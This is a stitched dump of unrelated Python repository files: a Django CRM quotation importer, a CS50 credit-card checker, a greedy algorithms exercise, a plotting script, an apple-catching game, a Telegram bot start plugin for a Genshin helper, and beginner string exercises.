csv.reader(csvfile, dialect=dialect)\n file_rows = []\n try:\n for line_number, row in enumerate(reader):\n if (line_number) >= 1:\n temp_dic = {}\n for idx, col in enumerate(fields):\n\n temp_list = []\n if col != '0':\n if row[idx]:\n if fields[idx] in temp_dic:\n temp_list.append(utils.comma_sep_value(temp_dic[fields[idx]]))\n temp_list.append(row[idx])\n temp_dic[fields[idx]] = temp_list\n else:\n temp_dic[fields[idx]] = row[idx]\n\n file_rows.append(temp_dic)\n if len(file_rows) > 0:\n format_and_save_product(company_id, user_obj, file_rows)\n contact_list['csv_cols'] = file_rows\n contact_list['success'] = True\n contact_list['msg'] = 'Import is running, whenever, you can use the system'\n os.remove(uploaded_file_url)\n except csv.Error as e:\n sys.exit('file %s, line %d: %s' % (uploaded_file_url, reader.line_num, e))\n except IOError as e:\n print(\"I/O error({0}): {1}\".format(e.errno, e.strerror))\n return HttpResponse(json.dumps(contact_list), content_type=\"application/json\")\n\n\ndef format_and_save_product(company_id, user_obj, list_data):\n contact_data_list = []\n utils = Utils()\n for i, d in enumerate(list_data):\n fields_list = []\n contact_data = {'fields': []}\n\n fields_list.append(d)\n\n contact_data['fields'] = fields_list\n contact_data_list.append(contact_data)\n save_in_db(company_id, user_obj, contact_data)\n return True\n\n\ndef save_in_db(company_id, user_obj, contact_data):\n company_id = company_id\n user_obj = user_obj\n user_id = user_obj.id\n fields_data = {}\n fields_data['success'] = False\n fields = contact_data['fields']\n product_tmpl_obj = Sale_order()\n for fields_data in fields:\n if 'Quotation name' in fields_data and fields_data['Quotation name'] != '':\n\n product_tmpl_obj.name = fields_data['Quotation name']\n\n TODAY = datetime.today()\n mon_rel = relativedelta(months=1)\n expiration_date_else = TODAY + mon_rel\n\n if 'Expiration Date' in fields_data and fields_data['Expiration Date'] != '':\n product_tmpl_obj.expiration_date = datetime.strptime(fields_data['Expiration Date'], \"%d/%m/%Y\")\n else:\n product_tmpl_obj.expiration_date = expiration_date_else\n\n if 'Order Date' in fields_data and fields_data['Order Date'] != '':\n product_tmpl_obj.order_date = datetime.strptime(fields_data['Order Date'], \"%d/%m/%Y\")\n else:\n product_tmpl_obj.order_date = datetime.today()\n\n if 'Status' in fields_data and fields_data['Status'] != '':\n product_tmpl_obj.status = fields_data['Status']\n\n if 'Customer name' in fields_data and fields_data['Customer name'] != '':\n try:\n contactpt = Contact.objects.get(name=fields_data['Customer name'])\n product_tmpl_obj.customer_id = contactpt.id\n product_tmpl_obj.customer_name = fields_data['Customer name']\n except:\n contactp = Contact()\n contactp.name = fields_data['Customer name']\n contactp.contact_type = 'C'\n contactp.is_vendor = False\n contactp.is_customer = True\n contactp.user_id = user_id\n contactp.user_company_id = company_id\n\n contactp.save()\n product_tmpl_obj.customer_id = contactp.id\n product_tmpl_obj.customer_name = fields_data['Customer name']\n\n if 'Payment term' in fields_data and fields_data['Payment term'] != '':\n try:\n payment = Payment_term.objects.get(name=fields_data['Payment term'])\n product_tmpl_obj.payment_term_id = payment.id\n except:\n paymenttp = Payment_term()\n paymenttp.name = fields_data['Payment term']\n paymenttp.company_id = company_id\n paymenttp.create_by_user_id = user_id\n paymenttp.user_company_id = company_id\n paymenttp.active = True\n contactp.save()\n product_tmpl_obj.payment_term_id = paymenttp.id\n\n if 'Quotation template' in fields_data and fields_data['Quotation template'] != '':\n try:\n qout = Quotation_template.objects.get(name=fields_data['Quotation template'])\n product_tmpl_obj.qout_template_id = qout.id\n except:\n qouttp = Payment_term()\n qouttp.name = fields_data['Payment term']\n qouttp.company_id = company_id\n qouttp.create_by_user_id = user_id\n qouttp.save()\n product_tmpl_obj.qout_template_id = qouttp.id\n\n product_tmpl_obj.create_by_user = user_obj\n product_tmpl_obj.company_id = company_id\n product_tmpl_obj.module_type = 'QUOTATION'\n product_tmpl_obj.total_amount = 0\n\n product_tmpl_obj.save()\n fields_data['success'] = True\n\n else:\n fields_data['success'] = False\n\n return fields_data\n","repo_name":"ambre1pravin/django-react","sub_path":"next_crm/views/Quotations.py","file_name":"Quotations.py","file_ext":"py","file_size_in_byte":101940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9796574791","text":"from cs50 import get_int\n\n# Prompt user for credit card number\nwhile True:\n print(\"what's your credit card number?\")\n cc_number = get_int()\n if cc_number > 0:\n break\n else:\n print(\"invalid number. try again.\")\n\n# Calculate length of number\nlength = len(str(cc_number))\n\n# Commit number to list\nmyList = []\ncc_copy = cc_number\nfor i in range(length):\n myList.append(cc_copy % 10)\n cc_copy = cc_copy // 10\n\n# Calculate sum 1\nsum1 = 0\nfor j in range(1, length, 2):\n temp = 2 * myList[j]\n while temp is not 0:\n sum1 += temp % 10\n temp = temp // 10\n\n# Calculate sum 2\nsum2 = 0\nfor k in range(0, length, 2):\n sum2 += myList[k]\n\n# Calculate sum 3\nsum3 = sum1 + sum2\n\n# Calculate first two digits of card number\nfirst_two_digits = (myList[length - 1] * 10) + myList[length - 2]\n\n# Test for cards\nvalid = True\nif (first_two_digits == 34 or\n first_two_digits == 37):\n card = \"AMEX\"\n\nelif myList[length - 1] == 4:\n card = \"VISA\"\n\nelif (first_two_digits == 51 or\n first_two_digits == 52 or\n first_two_digits == 53 or\n first_two_digits == 54 or\n first_two_digits == 55):\n card = \"MASTERCARD\"\n\nelse:\n valid = False\n\nif valid == True and sum3 % 10 == 0:\n print(\"{}\" .format(card))\n\nelse:\n print(\"INVALID\")","repo_name":"andrewerlanger/harvard-cs50","sub_path":"pset6/credit/credit.py","file_name":"credit.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33675473448","text":"import sys\nfrom collections import namedtuple\n\n'''\nFind the minimum number of points needed to cover all given segnments on a line.\n\nInput: A sequence of n segments (L1, R1), ..., (Ln, Rn) on a line\n - n number of segments\n - following n lines contain the segments with 2 integers (Li, Ri)\n\nOutput: A set of points of minimum size such that each segment (Li, Ri) contains a point,\ni.e. there exists a point x such that Li <= x <= Ri\n - The minimum number of k points on the first line\n - And the integer coordinates on the 2nd line\n - Can output the points in any order\n - If there are many sets, can output any set\n\nConstraints: 1 <= n <= 100, 0 <= Li <= Ri <= 10 ** 9\n\nSample:\n Input:\n 3\n 1 3 - compare seg[0] for each and see which is smaller\n 2 5 - check if coordinate seg[1]Smaller >= seg[1]Bigger => if yes, they overlap --> maybe store overlapping coords in a sep. set? ()\n 3 6\n Output:\n 1\n 3\n All three segments (1, 3), (2, 5), and (3, 6) contain point with coordinate 3\n\n Input:\n 4\n 4 7\n 1 3 \n 2 5\n 5 6\n Output:\n 2\n 3 6\n The 2nd and 3rd segments (4, 7) and (1, 3) contain point with coordinate 3,\n while the 1st and 4th segments contain point with coordinate 6.\n\n Not all segments can be covered by a single point, since segments (5, 6) and (1, 3) don't overlap\n'''\nSegment = namedtuple('Segment', 'start end')\n\ndef covers_common_coordinate(segment, coordinate):\n return segment.start <= coordinate\n\ndef optimal_points(segments):\n segments.sort(key=lambda s: s.end)\n points = []\n\n while(len(segments)):\n smallest_right_end = segments.pop(0).end\n points.append(smallest_right_end)\n\n while (len(segments)):\n if (covers_common_coordinate(segments[0], smallest_right_end)):\n segments.remove(segments[0])\n else:\n break\n\n\n return points\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n n, *data = map(int, input.split()) # n: 4, *data: [4, 7, 1, 3, 2, 5, 5, 6]\n # n, *data = map(int, ['4', '4', '7', '1', '3', '2', '5', '5', '6'])\n # n, *data = map(int, ['3', '1', '3', '2', '5', '3', '6'])\n # [Segment(start=4, end=7), Segment(start=1, end=3), Segment(start=2, end=5), Segment(start=5, end=6)]\n segments = list(map(lambda x: Segment(x[0], x[1]), zip(data[::2], data[1::2])))\n points = optimal_points(segments)\n print(len(points))\n print(*points)\n","repo_name":"Zerryth/algos","sub_path":"algorithmic-toolbox/3.greedy-algorithms/collecting_signatures.py","file_name":"collecting_signatures.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29665444624","text":"# -*- coding: utf-8 -*-\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pickle as pkl\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef show_results_fw_dom_model(method=\"dmo-fw\", opt='I', num_trials=20, max_iter=10000):\r\n list_delta = [1., .8, .5, .3, .1]\r\n plt.rcParams[\"font.family\"] = \"Times New Roman\"\r\n plt.rcParams['text.usetex'] = True\r\n plt.rcParams['font.size'] = 12\r\n plt.rc('text', usetex=True)\r\n plt.rc('text.latex', preamble=r'\\usepackage{amsmath}\\usepackage{bm}')\r\n max_iter, _, f_val_mat, est_err_mat, dual_gaps_mat, inner_gaps_mat, norm_grads_mat = pkl.load(\r\n open(f'results/{method}-{opt}_k-support-norm_trials-{num_trials}_iter-{max_iter}.pkl', 'rb'))\r\n fig, ax = plt.subplots(1, 2, figsize=(8, 3))\r\n x_iter1 = np.arange(1, 200, 20)\r\n x_iter2 = np.arange(200, max_iter, 600)\r\n zz = list(x_iter1)\r\n zz.extend(list(x_iter2))\r\n x_iter = np.asarray(zz)\r\n list_marker = ['D', 'X', \"H\", 's', 'o', 'p']\r\n marker_size = 5\r\n marker_face_color = 'None'\r\n line_width = .8\r\n edge_face_width = .8\r\n clrs = sns.color_palette(\"husl\", len(list_delta) + 1)\r\n for delta_i, delta in enumerate(list_delta):\r\n print(delta_i, delta)\r\n mean = np.mean(f_val_mat[delta_i], axis=0)[x_iter]\r\n std = np.std(f_val_mat[delta_i], axis=0)[x_iter]\r\n ax[0].plot(x_iter, mean, label=f\"$\\delta= ${delta}\", linewidth=line_width,\r\n c=clrs[delta_i], marker=list_marker[delta_i],\r\n markersize=marker_size, markerfacecolor=marker_face_color, markeredgewidth=edge_face_width)\r\n ax[1].plot(x_iter, 1. / np.sqrt(x_iter), label=r\"$t^{-1/2}$\", linewidth=line_width, c='r', linestyle='dotted')\r\n ax[1].plot(x_iter, 1. / np.power(x_iter, 1. / 3.), label=r\"$t^{-1/3}$\", linewidth=line_width, c='k',\r\n linestyle='--')\r\n for delta_i, delta in enumerate(list_delta):\r\n print(delta_i, delta)\r\n mean = np.mean(norm_grads_mat[delta_i], axis=0)[x_iter]\r\n std = np.std(norm_grads_mat[delta_i], axis=0)[x_iter]\r\n ax[1].plot(x_iter, mean, label=f\"$\\delta=${delta}\", linewidth=line_width,\r\n c=clrs[delta_i], marker=list_marker[delta_i],\r\n markersize=marker_size, markerfacecolor=marker_face_color, markeredgewidth=edge_face_width)\r\n ax[0].legend(loc=\"upper right\", handlelength=1, labelspacing=.1, ncol=2)\r\n ax[1].legend(loc=\"upper right\", handlelength=1, labelspacing=.1, ncol=2)\r\n ax[0].tick_params(axis=\"x\", direction=\"in\", length=4, width=1)\r\n ax[0].tick_params(axis=\"y\", direction=\"in\", length=4, width=1)\r\n ax[1].tick_params(axis=\"x\", direction=\"in\", length=4, width=1)\r\n ax[1].tick_params(axis=\"y\", direction=\"in\", length=4, width=1)\r\n ax[0].set_ylabel(r'$h({\\bm x}_t)$')\r\n ax[1].set_ylabel(r'$\\|\\nabla f(\\bm x_t)\\|_\\infty$')\r\n ax[0].set_xlabel(r'$t$', labelpad=-30.)\r\n ax[1].set_xlabel(r'$t$', labelpad=-30.)\r\n ax[0].set_yscale('log')\r\n ax[1].set_yscale('log')\r\n ax[0].tick_params(axis='y', which='both', labelleft=True)\r\n for i in range(2):\r\n ax[i].spines['top'].set_visible(False)\r\n ax[i].spines['right'].set_visible(False)\r\n plt.subplots_adjust(wspace=0.2, hspace=0.01)\r\n fig.savefig(f\"figs/test_k-support-norm_{method}_{opt}.pdf\", dpi=300,\r\n bbox_inches='tight', pad_inches=0, format='pdf')\r\n plt.close()\r\n\r\n\r\nshow_results_fw_dom_model()\r\n","repo_name":"baojian/dmo-fw","sub_path":"plot_figure_2_hx_dmo-fw.py","file_name":"plot_figure_2_hx_dmo-fw.py","file_ext":"py","file_size_in_byte":3403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34898608283","text":"#possible bones for a student enrollment program\n\n# Collect student information\nname = input(\"Enter the student's name: \")\naddress = input(\"Enter the student's address: \")\n\nwhile True:\n telephone = input(\"Enter the student's telephone number: \")\n if telephone.isnumeric() and len(telephone)==10:\n break\n else:\n print(\"Please enter a valid telephone number\")\n\nwhile True:\n grade_level = input(\"Enter the student's grade level: \")\n if grade_level in [\"Freshman\", \"Sophomore\", \"Junior\", \"Senior\"]:\n break\n else:\n print(\"Please enter a valid grade level (Freshman, Sophomore, Junior, Senior)\")\n\nstatus = input(\"Is the student a new or transfer student? \")\n\n# Collect variable number of courses\ncourse_selections = []\nwhile True:\n course = input(\"Enter a course name (or 'done' to finish): \")\n if course.lower() == \"done\":\n break\n course_selections.append(course)\n\n# Print enrollment information\nprint(\"Student Name: \" + name.title() + \"\\nAddress: \" + address + \"\\nTelephone: \" + telephone + \"\\nGrade Level: \" + grade_level + \"\\nStatus: \" + status)\nif len(course_selections)>0:\n print(\"Course Selections:\")\n for course in course_selections:\n print(\"- \" + course.title())\n ","repo_name":"Spaun12/CIAT","sub_path":"ASD101A Python Fundamentals/Part1/Week2/Week2 Discussion/#possible bones for a student enrollment.py","file_name":"#possible bones for a student enrollment.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6739343897","text":"\nfrom typing import Optional, List, Dict\n\nfrom Cluster.interfaces import IClusterNode, IClusterState\nfrom Cluster.node import ClusterNode\n\n\nclass ClusterState(IClusterState):\n\n def __init__(self):\n\n self._myself: Optional[IClusterNode] = None\n self._current_epoch = None\n self._state = None\n self._size = None\n self._nodes: Dict[str, IClusterNode] = {}\n self._nodes_black_list: Dict[str, IClusterNode] = {}\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"hc-tec/pydis","sub_path":"Cluster/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34244898029","text":"# Name: Aishwarya Varma\n# Date: 3/13/2020\n# Purpose: CS 111 Final Project\n\nfrom pgl import GWindow, GTimer, GImage, GRect, GOval, GLabel\nfrom dataclasses import dataclass\nfrom fallingobject import Falling_Object\nfrom worm import Worm\nfrom constants import *\nfrom character import Character\nimport random\nimport math\nfrom utilities import *\nfrom addgraphics import *\n\n# Below are instance variables of the class game_state. \n@dataclass()\nclass GameState:\n xvel = 0\n apple_yvel: float = 5\n update_timer: GTimer = None\n apple_timer: GTimer = None\n worm_timer: GTimer = None\n worm_yvel = 10\n\n# Starts the round when the mouse is clicked. Also starts the timers that create the apples and the worms, updating\n# ther movement. \ndef start_round(gw, game_state, update_fn, update_fn_two, update_fn_three):\n if game_state.update_timer:\n game_state.update_timer.stop()\n if game_state.apple_timer:\n game_state.apple_timer.stop()\n if game_state.worm_timer:\n game_state.worm_timer.stop()\n \n instructions = GImage(\"instructions.png\", 400, 270)\n gw.add(instructions)\n def onclick(e):\n game_state.update_timer = gw.setInterval(update_fn, TIME_STEP)\n game_state.apple_timer = gw.setInterval(update_fn_two, TIME_STEP_TWO)\n game_state.worm_timer = gw.setInterval(update_fn_three, TIME_STEP_THREE)\n gw.eventManager.clickListeners.pop()\n gw.remove(instructions)\n gw.addEventListener(\"click\", onclick)\n\n# When called, this function ends the game.\ndef end_game(game_state):\n if game_state.update_timer:\n game_state.update_timer.stop()\n if game_state.apple_timer:\n game_state.apple_timer.stop()\n if game_state.worm_timer:\n game_state.worm_timer.stop()\n\n# Main code for the game\ndef game():\n gw = GWindow(GWINDOW_WIDTH, GWINDOW_HEIGHT)\n game_state = GameState()\n apples_collected = []\n objects_lost = []\n\n background = GImage(\"background.png\", 0, 0)\n gw.add(background)\n\n scoreboard = GRect(GWINDOW_WIDTH - SB_WIDTH, 550, SB_WIDTH, SB_HEIGHT)\n scoreboard.setFilled(True)\n scoreboard.setColor(\"White\")\n gw.add(scoreboard)\n\n collected_label = create_centered_label(\"Apples collected: \", GWINDOW_WIDTH - 160, 590, SB_FONT)\n gw.add(collected_label)\n collected_num_label = create_centered_label(str(len(apples_collected)), GWINDOW_WIDTH - 30, 590, SB_FONT)\n gw.add(collected_num_label) \n\n lost_label = create_centered_label(\"Apples lost: \", GWINDOW_WIDTH - 195, 650, SB_FONT)\n gw.add(lost_label)\n lost_num_label = create_centered_label(str(len(objects_lost)), GWINDOW_WIDTH - 30, 650, SB_FONT)\n gw.add(lost_num_label)\n\n c = Character()\n isaac_newton = c.character\n gw.add(isaac_newton)\n \n # This function adds the apples to the game, according to the timestep provided in the list of constants. Apples \n # added to a list and removed when they are either collected or they hit the ground.\n apples = []\n def add_apples():\n xpos = random.randint(0 + APPLE_WIDTH, GWINDOW_WIDTH - APPLE_WIDTH)\n f = Falling_Object(xpos)\n apple = f.apple\n gw.add(apple)\n apples.append(apple)\n\n # This function adds worms to the window. Worms will appear after some duration of the game (i.e. 5 apples \n # have been collected). They appear according to the third timestep provided in constants.py.\n worms = []\n def add_worms():\n if len(apples_collected) > 5:\n xpos = random.randint(0 + WORM_WIDTH, GWINDOW_WIDTH - WORM_WIDTH) \n w = Worm(xpos)\n worm = w.worm\n gw.add(worm)\n worms.append(worm)\n\n # This function increases the apples' y velocity every time 3 apples are collected so that the game becomes harder\n # as the player progresses. \n def change_yvel():\n if len(apples_collected) % 3 == 0 and len(apples_collected) != 0:\n game_state.apple_yvel += 0.005\n return game_state.apple_yvel\n\n # This is the most important function. It makes both the apple and the worm objects move. It handles collisions \n # between isaac_newton and objects, and deals with them accordingly. This function is called every timestep (constants)\n # If you lose < 3 apples and collect 25 without collecting a worm, you win the game!\n def update_objects(): \n collected_num_label.setLabel(len(apples_collected))\n\n for apple in apples:\n apple_x_now = apple.getX() \n apple_y_now = apple.getY() + APPLE_HEIGHT\n\n isaac_x = isaac_newton.getX()\n isaac_y = isaac_newton.getY()\n if isaac_x <= apple_x_now <= (isaac_x + ISAAC_WIDTH) and isaac_y <= apple_y_now <= (isaac_y + ISAAC_HEIGHT):\n gw.remove(apple)\n apples.remove(apple)\n apples_collected.append(apple)\n\n if apple_y_now >= GWINDOW_HEIGHT:\n objects_lost.append(apple)\n lost_num_label.setLabel(len(objects_lost))\n gw.remove(apple)\n apples.remove(apple)\n if len(objects_lost) >= 3:\n end_game(game_state)\n add_loser(gw)\n\n if len(apples_collected) == 25:\n collected_num_label.setLabel(len(apples_collected))\n end_game(game_state)\n add_winner(gw)\n\n game_state.apple_yvel = change_yvel()\n apple.move(game_state.xvel, game_state.apple_yvel)\n \n for worm in worms:\n worm_x_now = worm.getX()\n worm_y_now = worm.getY() + WORM_HEIGHT\n\n isaac_x = isaac_newton.getX()\n isaac_y = isaac_newton.getY()\n if isaac_x <= worm_x_now <= (isaac_x + ISAAC_WIDTH) and isaac_y <= worm_y_now <= (isaac_y + ISAAC_HEIGHT):\n gw.remove(worm)\n worms.remove(worm)\n end_game(game_state)\n add_loser(gw)\n\n if worm_y_now >= GWINDOW_HEIGHT:\n gw.remove(worm)\n worms.remove(worm)\n \n worm.move(game_state.xvel, game_state.worm_yvel)\n\n # This function handles the key movement for isaac_newton. If the player touches the left arrow, isaac will move left.\n # This is the same for the right arrow. \n def key_action(event):\n if event.key == \"\":\n isaac_newton.move(-ISAAC_XVEL, ISAAC_YVEL) \n elif event.key == \"\":\n isaac_newton.move(ISAAC_XVEL, ISAAC_YVEL)\n \n if isaac_newton.getX() >= (GWINDOW_WIDTH - ISAAC_WIDTH):\n isaac_newton.setLocation(GWINDOW_WIDTH - ISAAC_WIDTH, Character().ypos)\n gw.addEventListener(\"key\", key_action)\n \n if isaac_newton.getX() <= 0:\n isaac_newton.setLocation(0, Character().ypos)\n gw.addEventListener(\"key\", key_action)\n\n # Adds key event listener for the arrows and starts the round calling the appropriate functions with the right \n # timesteps.\n gw.addEventListener(\"key\", key_action)\n start_round(gw, game_state, update_objects, add_apples, add_worms)\n\ngame()\n\n \n\n\n\n\n","repo_name":"varmaa23/Python-Final-Project","sub_path":"finalproject/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7143,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"11087344225","text":"from typing import Optional, TYPE_CHECKING\n\nfrom simnet.errors import RedemptionInvalid, RegionNotSupported, RedemptionClaimed\nfrom telegram import Update, ReplyKeyboardRemove, Message, User, WebAppInfo, ReplyKeyboardMarkup, KeyboardButton\nfrom telegram.constants import ChatAction\nfrom telegram.ext import CallbackContext, CommandHandler\nfrom telegram.helpers import escape_markdown\n\nfrom core.config import config\nfrom core.plugin import handler, Plugin\nfrom core.services.players import PlayersService\nfrom plugins.tools.challenge import ChallengeSystem, ChallengeSystemException\nfrom plugins.tools.genshin import PlayerNotFoundError, CookiesNotFoundError, GenshinHelper\nfrom plugins.tools.sign import SignSystem, NeedChallenge\nfrom utils.log import logger\n\nif TYPE_CHECKING:\n from simnet import GenshinClient\n\n\nclass StartPlugin(Plugin):\n def __init__(\n self,\n player: PlayersService,\n sign_system: SignSystem,\n challenge_system: ChallengeSystem,\n genshin_helper: GenshinHelper,\n ):\n self.challenge_system = challenge_system\n self.sign_system = sign_system\n self.genshin_helper = genshin_helper\n self.players_service = player\n\n @handler.command(\"start\", block=False)\n async def start(self, update: Update, context: CallbackContext) -> None:\n user = update.effective_user\n message = update.effective_message\n args = context.args\n if args is not None and len(args) >= 1:\n if args[0] == \"inline_message\":\n await message.reply_markdown_v2(\n f\"你好 {user.mention_markdown_v2()} {escape_markdown('!我是派蒙 !')}\\n\"\n f\"{escape_markdown('发送 /help 命令即可查看命令帮助')}\"\n )\n elif args[0] == \"set_cookie\":\n await message.reply_markdown_v2(\n f\"你好 {user.mention_markdown_v2()} {escape_markdown('!我是派蒙 !')}\\n\"\n f\"{escape_markdown('发送 /setcookie 命令进入绑定账号流程')}\"\n )\n elif args[0] == \"set_uid\":\n await message.reply_markdown_v2(\n f\"你好 {user.mention_markdown_v2()} {escape_markdown('!我是派蒙 !')}\\n\"\n f\"{escape_markdown('发送 /setuid 或 /setcookie 命令进入绑定账号流程')}\"\n )\n elif args[0] == \"verify_verification\":\n logger.info(\"用户 %s[%s] 通过start命令 获取认证信息\", user.full_name, user.id)\n await self.process_validate(message, user, bot_username=context.bot.username)\n elif args[0] == \"sign\":\n logger.info(\"用户 %s[%s] 通过start命令 获取签到信息\", user.full_name, user.id)\n await self.get_sign_button(message, user, bot_username=context.bot.username)\n elif args[0].startswith(\"challenge_\"):\n _data = args[0].split(\"_\")\n _command = _data[1]\n _challenge = _data[2]\n if _command == \"sign\":\n logger.info(\"用户 %s[%s] 通过start命令 进入签到流程\", user.full_name, user.id)\n await self.process_sign_validate(message, user, _challenge)\n elif args[0].startswith(\"redeem_\"):\n _code = args[0].split(\"_\")[1]\n logger.info(\"用户 %s[%s] 通过start命令 进入兑换码兑换流程 code[%s]\", user.full_name, user.id, _code)\n await self.process_redeem(message, user, _code)\n else:\n await message.reply_html(f\"你好 {user.mention_html()} !我是派蒙 !\\n请点击 /{args[0]} 命令进入对应流程\")\n return\n logger.info(\"用户 %s[%s] 发出start命令\", user.full_name, user.id)\n await message.reply_markdown_v2(f\"你好 {user.mention_markdown_v2()} {escape_markdown('!我是派蒙 !')}\")\n\n @staticmethod\n async def unknown_command(update: Update, _: CallbackContext) -> None:\n await update.effective_message.reply_text(\"前面的区域,以后再来探索吧!\")\n\n @staticmethod\n async def emergency_food(update: Update, _: CallbackContext) -> None:\n await update.effective_message.reply_text(\"派蒙才不是应急食品!\")\n\n @handler(CommandHandler, command=\"ping\", block=False)\n async def ping(self, update: Update, _: CallbackContext) -> None:\n await update.effective_message.reply_text(\"online! ヾ(✿゚▽゚)ノ\")\n\n @handler(CommandHandler, command=\"reply_keyboard_remove\", block=False)\n async def reply_keyboard_remove(self, update: Update, _: CallbackContext) -> None:\n await update.message.reply_text(\"移除远程键盘成功\", reply_markup=ReplyKeyboardRemove())\n\n async def process_sign_validate(self, message: Message, user: User, validate: str):\n try:\n async with self.genshin_helper.genshin(user.id) as client:\n await message.reply_chat_action(ChatAction.TYPING)\n _, challenge = await self.sign_system.get_challenge(client.player_id)\n if not challenge:\n await message.reply_text(\"验证请求已过期。\", allow_sending_without_reply=True)\n return\n sign_text = await self.sign_system.start_sign(client, challenge=challenge, validate=validate)\n await message.reply_text(sign_text, allow_sending_without_reply=True)\n except (PlayerNotFoundError, CookiesNotFoundError):\n logger.warning(\"用户 %s[%s] 账号信息未找到\", user.full_name, user.id)\n except NeedChallenge:\n await message.reply_text(\"回调错误,请重新签到\", allow_sending_without_reply=True)\n\n async def process_validate(self, message: Message, user: User, bot_username: Optional[str] = None):\n await message.reply_text(\n \"由于官方对第三方工具限制以及账户安全的考虑,频繁使用第三方工具会导致账号被风控并要求用过验证才能进行访问。\\n\"\n \"如果出现频繁验证请求,建议暂停使用本Bot在内的第三方工具查询功能。\\n\"\n \"在暂停使用期间依然出现频繁认证,建议修改密码以保护账号安全。\"\n )\n try:\n uid, gt, challenge = await self.challenge_system.create_challenge(user.id, ajax=True)\n except ChallengeSystemException as exc:\n await message.reply_text(exc.message)\n return\n if gt == \"ajax\":\n await message.reply_text(\"验证成功\")\n return\n url = (\n f\"{config.pass_challenge_user_web}/webapp?\"\n f\"gt={gt}&username={bot_username}&command=verify&challenge={challenge}&uid={uid}\"\n )\n await message.reply_text(\n \"请尽快在10秒内完成手动验证\\n或发送 /web_cancel 取消操作\",\n reply_markup=ReplyKeyboardMarkup.from_button(\n KeyboardButton(\n text=\"点我手动验证\",\n web_app=WebAppInfo(url=url),\n )\n ),\n )\n\n async def get_sign_button(self, message: Message, user: User, bot_username: str):\n player = await self.players_service.get_player(user.id)\n if player is None:\n logger.warning(\"用户 %s[%s] 账号信息未找到\", user.full_name, user.id)\n return\n await message.reply_chat_action(ChatAction.TYPING)\n button = await self.sign_system.get_challenge_button(bot_username, player.player_id, user.id, callback=False)\n if not button:\n await message.reply_text(\"验证请求已过期。\", allow_sending_without_reply=True)\n return\n await message.reply_text(\"请尽快点击下方按钮进行验证。\", allow_sending_without_reply=True, reply_markup=button)\n\n async def process_redeem(self, message: Message, user: User, code: str):\n try:\n if not code:\n raise RedemptionInvalid\n async with self.genshin_helper.genshin(user.id) as client:\n client: \"GenshinClient\"\n await client.redeem_code_by_hoyolab(code)\n msg = \"兑换码兑换成功。\"\n except RegionNotSupported:\n msg = \"此服务器暂不支持进行兑换哦~\"\n except RedemptionInvalid:\n msg = \"兑换码格式不正确,请确认。\"\n except RedemptionClaimed:\n msg = \"此兑换码已经兑换过了。\"\n await message.reply_text(msg)\n","repo_name":"PaiGramTeam/PaiGram","sub_path":"plugins/app/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":8596,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"37"} +{"seq_id":"21386985858","text":"import unittest\n\n\n# Given a string and a non-negative int n, return a larger string\n# that is n copies of the original string.\ndef string_times(string, n):\n if not isinstance(n, int):\n return \"bad argument\"\n if not isinstance(string, str):\n return \"bad argument\"\n\n if n >= 0:\n return n * string\n\n return string\n\n# Given an array of ints, return True if one of the first 4 elements\n# in the array is a 9. The array length may be less than 4.\ndef array_front9(nums):\n if not isinstance(nums, list):\n print(\"bad argument\")\n return False\n count = 0\n while count < 4 and count < len(nums):\n if nums[count] == 9:\n return True\n count = count + 1\n return False\n\n\n# Given a string, return the count of the number of times\n# that a substring length 2 appears in the string and also as\n# the last 2 chars of the string, so \"hixxxhi\" yields 1 (we won't count the end substring).\ndef last2(string):\n if not isinstance(string, str):\n return \"bad argument\"\n\n string_pattern_to_find = string[-2:]\n count_occurence = 0\n index = 0\n string_to_look_for_pattern_into = string[:-2]\n while index < len(string_to_look_for_pattern_into) - 1:\n if string_pattern_to_find == string_to_look_for_pattern_into[index] \\\n + string_to_look_for_pattern_into[index + 1]:\n count_occurence = count_occurence + 1\n index = index +1\n return count_occurence\n\n\n#Write a program that maps a list of words into a list of\n#integers representing the lengths of the correponding words.\ndef length_words(array):\n if not isinstance(array, list):\n print(\"bad argument\")\n return []\n int_array = []\n for word in array:\n int_array.append(len(word))\n return int_array\n\n#write fizbuzz programm\ndef fizbuzz():\n result_string = ''\n for number in range(50):\n if number % 3 == 0:\n print(\"Fizz\", end=\"\")\n result_string = result_string + \"Fizz\"\n if number % 5 == 0:\n print(\"Buzz\", end=\"\")\n result_string = result_string + \"Buzz\"\n if number % 3 != 0 and number %5 != 0:\n result_string = result_string + str(number)\n print(number, end=\"\")\n print(\", \", end=\"\")\n result_string = result_string + \", \"\n return result_string\n\n#Write a function that takes a number and returns a list of its digits.\ndef number2digits(number):\n if not isinstance(number, int):\n print(\"bad argument\")\n return []\n number_in_list = []\n number_in_string = str(number)\n for character in number_in_string:\n number_in_list.append(int(character))\n return number_in_list\n\n#Write function that translates a text to Pig Latin and back.\n#English is translated to Pig Latin by taking the first letter of every word,\n#moving it to the end of the word and adding 'ay'\ndef pigLatin(text):\n if not isinstance(text, str):\n return \"bad argument\"\n\n tab_strings = text.split(\" \");\n for index, temp_string in enumerate(tab_strings):\n first_letter_to_move_at_the_end = temp_string[0:1]\n if first_letter_to_move_at_the_end.isupper(): #Handling first letter upper case\n new_first_letter = temp_string[1:2].upper()\n first_letter_to_move_at_the_end = first_letter_to_move_at_the_end.lower()\n else: #No casing change required\n new_first_letter = temp_string[1:2]\n\n #Pig latinizing\n 